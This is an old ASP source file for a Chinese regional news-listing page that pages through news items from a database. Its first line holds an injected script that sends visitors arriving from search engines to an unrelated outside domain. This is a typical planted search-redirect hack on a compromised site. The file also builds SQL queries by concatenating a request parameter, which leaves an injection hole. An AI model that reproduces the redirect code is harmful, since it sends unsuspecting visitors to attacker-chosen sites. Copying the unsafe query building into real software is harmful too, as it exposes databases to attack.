d:\wwwroot\wuchunhua\news_more.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="head.asp"-->
002:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
003:
004:
<%
dim sql,rs,thepage,currentpage,pagename,totalpage,n,page
005:
newsname=HtmlEncode(trim(request("news")))
006:
if city_oneid=0 then cityid="city_oneid>0"
007:
if city_oneid<>0 and city_twoid=0 then cityid="city_oneid="&city_oneid&" and "
008:
if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and "
009:
if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and city_threeid="&city_threeid&" and "
010:
if city_oneid=0 then city_id="&news="&newsname&"&city_oneid=0"
011:
if city_oneid<>0 and city_twoid=0 then city_id="&news="&newsname&"&city_oneid="&city_oneid
012:
if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then city_id="&news="&newsname&"&city_oneid="&city_oneid&"&city_twoid="&city_twoid
013:
if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then city_id="&news="&newsname&"city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid
%
>
014:
<table width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
015:
<tr> </tr>
016:
</table>
017:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="0">
018:
<tr valign="top">
019:
<td width="580"><table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
020:
<tr>
021:
<td bgcolor="#FFFFFF"><table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
022:
<tr>
023:
<td height="30" colspan="3"><strong> <img src="images/img.gif" width="12" height="12">
024:
<%
if city_oneid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&""">"&aa1&"</a>>>"
025:
if city_twoid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&""">"&aa2&"</a>>>"
026:
if city_threeid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""">"&aa3&"</a>>>"
027:
%
>新闻中心>>
<%
=newsname
%
> </strong></td>
028:
</tr>
029:
<tr><td colspan="3" background="images/news_022.gif"> </td></tr>
030:
<%
sql="select * from [news_data] where "&cityid&" and type='"&newsname&"' and stop>=date() order by [top] desc,adid desc"
031:
set rs=server.createobject("adodb.recordset")
032:
rs.open sql,conn,1,1
033:
if rs.eof then
034:
response.write "<tr height=""28""><td colspan=""2"">暂无新闻</td></tr>"
035:
else
036:
thepage=request("pageid")
037:
if isnumeric(thepage)=false then
038:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
039:
response.end
040:
end if
041:
currentpage = cLng(thepage)
042:
if currentpage <= 0 then currentpage=1
043:
const maxperpage=10
044:
rs.Pagesize = maxperpage
045:
pagename="news_more.asp"
046:
totalpage = rs.PageCount
047:
rs.absolutepage = currentpage
048:
n=rs.recordcount
049:
page = PageSplit(currentpage,totalpage,pagename,city_id)
050:
if n>10 then
051:
response.write "<tr><td height=""25"" colspan=""2""> 页次:<b>"¤tpage&"/"&totalpage&"</b> 每页<b>"&maxperpage&"</b>条 共刊登<b>"&n&"</b>条"&tyname&"新闻 "&page&"</td></tr>"
052:
response.write "<tr><td colspan=""2"" background=""images/news_022.gif""> </td></tr>"
053:
end if
054:
i=0
055:
do while i < maxperpage and not rs.eof
056:
response.write "<tr height=""25""><td><img src=""images/news_021.gif"" width=""14"" height=""16"" align=""left""> <a href=""html/news/"&rs("adid")&".htm"" target=""_blank"">"
057:
if rs("cu")="yes" then response.write "<b>"
058:
response.write "<b><font "
059:
if rs("color")<>"" then
060:
response.write "color="&rs("color")
061:
else
062:
response.write "color=#0044DD"
063:
end if
064:
response.write ">"&rs("title")&"</font></b>"
065:
if rs("cu")="yes" then response.write "</b>"
066:
response.write "</a></td><td><font color=#999999><i>"&rs("date")&"</i></font></td></tr><tr height=""22""><td colspan=""2"" width=""80%""><a href=""html/news/"&rs("adid")&".htm"" target=""_blank"">"
067:
text=Replace(Replace(rs("text")," "," "),"<br>","")
068:
response.write "<p style=""line-height: 150%"">"
069:
if len(text)>60 then
070:
response.write left(text,60)&"..."
071:
else
072:
response.write text
073:
end if
074:
response.write "</p>"
075:
response.write "</a></td></tr>"
076:
response.write "<tr><td colspan=""2"" background=""images/news_022.gif""> </td></tr>"
077:
rs.movenext
078:
i=i+1
079:
loop
080:
end if
081:
if n>10 then
%
>
082:
<tr>
083:
<td colspan="2"> 页次:<b>
<%
=currentpage
%
>/
<%
=totalpage
%
></b> 每页<b>
<%
=maxperpage
%
></b>条 共刊登<b>
<%
=n
%
></b>条<font color="#FF0000">
<%
=tyname
%
></font>新闻
084:
<%
response.write page
%
></td>
085:
</tr>
086:
<%
end if
%
>
087:
<tr>
088:
<td> </td>
089:
</tr>
090:
</table></td>
091:
</tr>
092:
</table></td>
093:
<td width="10"> </td>
094:
<td width="270"><table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
095:
<tr>
096:
<td bgcolor="#FFFFFF"><table border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
097:
<tr>
098:
<td height="8"></td>
099:
</tr>
100:
</table>
101:
<table width="92%" border="0" align="center" cellpadding="0" cellspacing="0">
102:
<tr><td width="25" height="200" bgcolor="DAF0FF"><div align="center"><strong>图<br>片<br>新<br>闻</strong></div></td>
103:
<td>
104:
<%
set rs1 = server.createobject("adodb.recordset")
105:
sql="select top 4 adid,pic,color,title,cu from [news_data] where pic <>'' and type='"&newsname&"' and stop>=date() order by [top] desc,adid desc"
106:
rs1.open sql,conn,1,1
107:
if rs1.eof then
108:
response.write "暂无推荐图片信息"
109:
else
110:
i=0
111:
response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
112:
do while not rs1.eof
113:
if i mod 2=0 then response.write "<tr>"
114:
response.write "<td align=""center""><a href=""html/news/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
115:
response.write "<a href=""html/news/"&rs1("adid")&".htm"" target=""_blank"">"
116:
if rs1("cu")="yes" then
117:
response.write "<b><font style=""font-size:9pt"""
118:
if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
119:
response.write ">"&left(rs1("title"),8)&"</font></b>"
120:
else
121:
response.write "<font style=""font-size:9pt"""
122:
if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
123:
response.write ">"&left(rs1("title"),8)&"</font>"
124:
end if
125:
response.write "</a></td>"
126:
rs1.movenext
127:
i=i+1
128:
if i mod 2=0 then response.write "</tr>"
129:
loop
130:
if i mod 2<>0 then response.write "<td></td></tr>"
131:
response.write "</table>"
132:
end if
133:
rs1.close:set rs1=nothing
%
></td>
134:
</tr>
135:
<tr>
136:
<td height="30" colspan="2" background="images/news_0024.gif"> <span style="color: #990000"><strong>固顶新闻</strong></span></td>
137:
</tr>
138:
<tr>
139:
<td colspan="2">
140:
<%
response.write "<table width=""100%"" border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
141:
set rs1=server.createobject("adodb.recordset")
142:
sql="select top 10 * from news_data where top=1 and stop>=date() order by adid desc"
143:
rs1.open sql,conn,1,1
144:
if rs1.eof then
145:
response.write "<tr><td>暂无固顶新闻</td></tr>"
146:
else
147:
i=0
148:
do while not rs1.eof
149:
response.write "<tr><td><a title="&rs1("title")&" href=html/news/"&rs1("adid")&".htm target=blank><font style='size:12px'"
150:
if rs1("color")<>"" then response.write "color="&rs1("color")
151:
response.write ">"&left(rs1("title"),20)&"</font></a></td></tr>"
152:
rs1.movenext
153:
loop
154:
end if
155:
rs1.close:set rs1=nothing
156:
response.write "</table>"
%
></td></tr><tr><td colspan="2">
157:
<script type="text/javascript">
<!--
158:
google_ad_client = "pub-7959465154098151";
159:
google_ad_width = 250;
160:
google_ad_height = 250;
161:
google_ad_format = "250x250_as";
162:
google_ad_type = "text_image";
163:
google_ad_channel = "";
164:
google_color_border = "E6E6E6";
165:
google_color_bg = "FFFFFF";
166:
google_color_link = "0000FF";
167:
google_color_text = "000000";
168:
google_color_url = "008000";
169:
//-->
170:
</script>
171:
<script type="text/javascript"
172:
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
173:
</script></td>
174:
</tr>
175:
</table>
176:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
177:
<tr>
178:
<td height="8"></td>
179:
</tr>
180:
</table></td>
181:
</tr>
182:
</table></td>
183:
</tr>
184:
</table>
185:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
186:
<tr>
187:
<td height="8"></td>
188:
</tr>
189:
</table>
190:
<table width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
191:
<tr>
192:
</tr>
193:
</table>
194:
<table border="0" width="760" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF" align=center>
195:
<tr>
196:
</tr>
197:
</table>
<!-- 这里是主题结束 -->
<!--#include file="foot.asp"-->
198:
199:
200: